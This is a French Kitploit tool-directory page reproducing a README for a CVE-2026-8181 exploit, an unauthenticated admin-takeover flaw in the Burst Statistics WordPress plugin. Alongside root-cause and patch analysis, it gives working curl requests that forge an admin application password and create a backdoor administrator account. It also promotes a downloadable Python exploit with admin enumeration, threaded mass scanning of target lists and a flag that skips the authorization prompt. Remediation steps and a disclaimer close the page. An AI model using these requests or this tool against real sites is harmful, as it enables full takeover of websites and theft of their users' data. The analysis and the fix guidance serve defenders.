Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8181 — Le plugin Burst Statistics – Privacy-Friendly WordPress Analytics (alternative à Google Analytics) pour WordPress est vulnérable au contournement de l’authentification. | Kitploit
Outils/GitHubGitHub/yucaerin/cve-2026-8181
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionAuthentificationApprentissage et Éducation
GitHubyucaerin/cve-2026-8181

CVE-2026-8181

Le plugin Burst Statistics – Privacy-Friendly WordPress Analytics (alternative à Google Analytics) pour WordPress est vulnérable au contournement de l’authentification.

Voir le dépôt
11il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — Contournement d'authentification menant à la prise de contrôle du compte administrateur

Résumé de la vulnérabilité

Le plugin WordPress Burst Statistics versions 3.4.0 à 3.4.1.1 est vulnérable à un contournement d'authentification non authentifié qui permet la prise de contrôle complète du compte administrateur. Cette faille critique permet à un attaquant non authentifié connaissant un nom d'utilisateur administrateur de générer un mot de passe d'application WordPress valide pour ce compte en une seule requête HTTP, obtenant ainsi un accès administrateur persistant à l'ensemble du site.

La vulnérabilité provient de la fonction is_mainwp_authenticated() dans class-mainwp-proxy.php. Cette fonction appelle wp_authenticate_application_password() et vérifie uniquement si le résultat est une WP_Error. Elle ne vérifie pas si le résultat est effectivement un objet WP_User réussi. Lorsque le filtre interne de WordPress renvoie — ce qui se produit lorsque l'appel est effectué en dehors du flux normal d'authentification de l'API REST — la fonction WordPress retourne au lieu d'un ou d'un . Comme n'est pas une , la vérification passe et l'utilisateur administrateur choisi par l'attaquant est défini comme utilisateur courant via .

application_password_is_api_request
false
null
WP_Error
WP_User
null
WP_Error
wp_set_current_user()

Une fois que l'utilisateur courant est basculé vers un administrateur, les vérifications de capacité suivantes passent. L'attaquant peut alors accéder au point de terminaison REST /burst/v1/mainwp-auth, qui crée un mot de passe d'application WordPress pour le compte administrateur et le renvoie dans la réponse. Cela donne à l'attaquant un accès administrateur complet et persistant.

Plugin concerné

ChampValeur
Nom du pluginBurst Statistics – Privacy-Friendly WordPress Analytics
Slug du pluginburst-statistics
Versions affectées3.4.0 – 3.4.1.1
Version corrigée3.4.2
Identifiant CVECVE-2026-8181
Score CVSS9.8 (Critique)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type de vulnérabilitéContournement d'authentification (Authentification incorrecte)
CWECWE-287 — Authentification incorrecte
ImpactPrise de contrôle complète du site — Prise de contrôle du compte administrateur

Ce que les attaquants peuvent faire

CapacitéImpact
Générer un mot de passe d'application pour n'importe quel administrateurAccès administrateur persistant
Créer de nouveaux comptes administrateurs via l'API RESTProlifération de comptes
Installer des plugins / thèmesExécution de code à distance
Modifier les articles, pages et paramètresDéfiguration du site
Exporter ou supprimer toutes les données du siteDestruction / Exfiltration de données
Accéder aux données WooCommerce / clientsViolation de données

Analyse technique

Initialisation du plugin et porte vulnérable

Burst Statistics s'initialise lors du hook plugins_loaded de WordPress à la priorité 9, dans class-burst.php :

root@kitploit:~
// class-burst.php, ligne 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() est le gardien de toutes les fonctionnalités d'administration. Il vérifie la présence de l'en-tête X-BurstMainWP et appelle la fonction vulnérable :

root@kitploit:~
// trait-admin-helper.php, lignes 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

La fonction vulnérable : is_mainwp_authenticated()

root@kitploit:~
// class-mainwp-proxy.php, lignes 313-342 (vulnérable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNÉRABLE : wp_authenticate_application_password() renvoie null
        // en dehors du flux d'authentification de l'API REST
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BOGUE : Vérifie uniquement si le résultat est WP_Error. null n'est PAS WP_Error → PASSE !
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

Pourquoi wp_authenticate_application_password() renvoie null

La fonction interne de WordPress wp_authenticate_application_password() possède un filtre :

root@kitploit:~
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Pas une requête API, ignorer l'authentification par mot de passe d'application
}

Lorsqu'elle est appelée en dehors du flux d'authentification de l'API REST, cela renvoie null. Le code de Burst Statistics vérifiait seulement is_wp_error($is_valid) — null n'est pas une WP_Error, donc la vérification passe incorrectement.

Chemin d'exécution vers la prise de contrôle administrateur

  1. L'attaquant envoie l'en-tête X-BurstMainWP: 1 avec n'importe quelle requête
  2. has_admin_access() déclenche is_mainwp_authenticated()
  3. wp_authenticate_application_password() renvoie null (hors contexte API)
  4. is_wp_error(null) = false → la vérification passe
  5. wp_set_current_user($admin_id) s'exécute
  6. L'utilisateur courant est désormais l'administrateur choisi
  7. L'attaquant envoie une requête POST à /burst/v1/mainwp-auth
  8. handle_auth_request() génère un mot de passe d'application WordPress
  9. Le jeton est renvoyé sous forme base64(username:app_password)
  10. L'attaquant utilise ce jeton pour un accès administrateur persistant via l'API REST

Analyse du correctif (3.4.2)

root@kitploit:~
// class-mainwp-proxy.php, lignes 399-415 (corrigé 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

Correctifs appliqués :

  • Forcer le filtre application_password_is_api_request à true pour que la validation réelle du mot de passe ait lieu
  • Vérifier que le résultat est une instance de WP_User (et non null)
  • Utiliser hash_equals() pour vérifier la correspondance du nom d'utilisateur

De plus, check_auth_permission() du point de terminaison REST a été renforcée pour exiger current_user_can('manage_burst_statistics') et une vérification explicite du nonce pour les requêtes authentifiées par cookie.

Preuve de concept

cURL manuel

root@kitploit:~
# Étape 1 : Vérifier que la cible est vulnérable (générer un mot de passe d'application)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# Réponse : {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# Étape 2 : Décoder le jeton
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# Étape 3 : Utiliser le mot de passe d'application pour créer un nouvel administrateur
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

Outil d'exploitation Python

Le script exploit_burst_statistics.py automatise toute la chaîne d'attaque :

  • Phase 0 : Détection de version via readme.txt, en-tête du plugin ou chaînes de requête des assets
  • Phase 1 : Énumération des noms d'utilisateurs administrateurs via l'API REST, les pages d'auteurs ou une liste de noms d'utilisateurs courants
  • Phase 2 : Contournement d'authentification avec X-BurstMainWP: 1 + fausse authentification Basic pour générer un jeton
  • Phase 3 : Vérification du jeton et validation de sa structure
  • Scan de masse : Analyse multi-cibles avec threads et journalisation en temps réel des cibles vulnérables

Fonctionnalités de l'exploit

  • Non authentifié — aucun accès préalable requis
  • Une seule requête HTTP pour générer un mot de passe d'application persistant
  • Détection automatique de la version de Burst Statistics et saut des cibles corrigées
  • Énumération automatique du nom d'utilisateur administrateur s'il n'est pas fourni
  • Prise en charge des permaliens jolis (/wp-json/) et des permaliens non jolis (/?rest_route=)
  • Scan de masse avec ThreadPoolExecutor
  • Écriture en temps réel dans un fichier — les cibles vulnérables sont sauvegardées immédiatement sans attendre la fin du scan
  • Verrouillage de fichier thread-safe

Utilisation

Cible unique (énumération automatique de l'administrateur)

root@kitploit:~
python3 exploit_burst_statistics.py -t http://target.com --no-confirm

Cible unique (nom d'utilisateur administrateur connu)

root@kitploit:~
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm

Scan de masse

Créez targets.txt :

root@kitploit:~
target1.com
target2.com:8080
192.168.1.50
root@kitploit:~
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm

Options

OptionDescription
-t, --targetURL de la cible unique
-l, --listFichier contenant la liste des cibles (une par ligne)
-T, --threadsThreads pour le scan de masse (défaut : 10)
-o, --outputFichier de sortie pour les résultats (défaut : result_burst_statistics.txt)
-u, --usernameNom d'utilisateur administrateur connu (évite l'énumération)
-v, --verboseSortie de débogage verbeuse
--timeoutDélai d'attente de la requête en secondes (défaut : 20)
--no-confirmIgnorer la demande de confirmation d'autorisation

Recommandations de correction

Pour les développeurs et propriétaires de sites :

  1. Mettez à jour immédiatement vers Burst Statistics 3.4.2 ou version ultérieure
  2. Si la mise à jour est impossible, désactivez temporairement le plugin
  3. Après la mise à jour, révoquez tous les mots de passe d'application existants pour les comptes administrateurs :
    • WP Admin → Utilisateurs → [Admin] → Mots de passe d'application → Révoquer tout
  4. Vérifiez la présence de comptes administrateurs non autorisés ou de créations de comptes inattendues
  5. Consultez les journaux du serveur pour les requêtes contenant l'en-tête X-BurstMainWP: 1

Chronologie

DateÉvénement
2026-05-08Réserve CVE
2026-05-11Fournisseur notifié
2026-05-13Divulgué publiquement
2026-05-13Correctif publié (v3.4.2)
2026-05-15Exploitation active signalée dans la nature

Chercheur

  • Crédit : Chloe Chamberland — Wordfence PRISM

Références

  • Avis Wordfence
  • Enregistrement CVE
  • Diff du correctif — class-mainwp-proxy.php
  • NVD

Avertissement

Ces informations sont fournies à des fins éducatives et de tests de pénétration autorisés uniquement. L'exploitation non autorisée de systèmes informatiques est illégale et contraire à l'éthique. Obtenez toujours une autorisation écrite explicite avant de tester une cible qui ne vous appartient pas.

Télécharger l’outil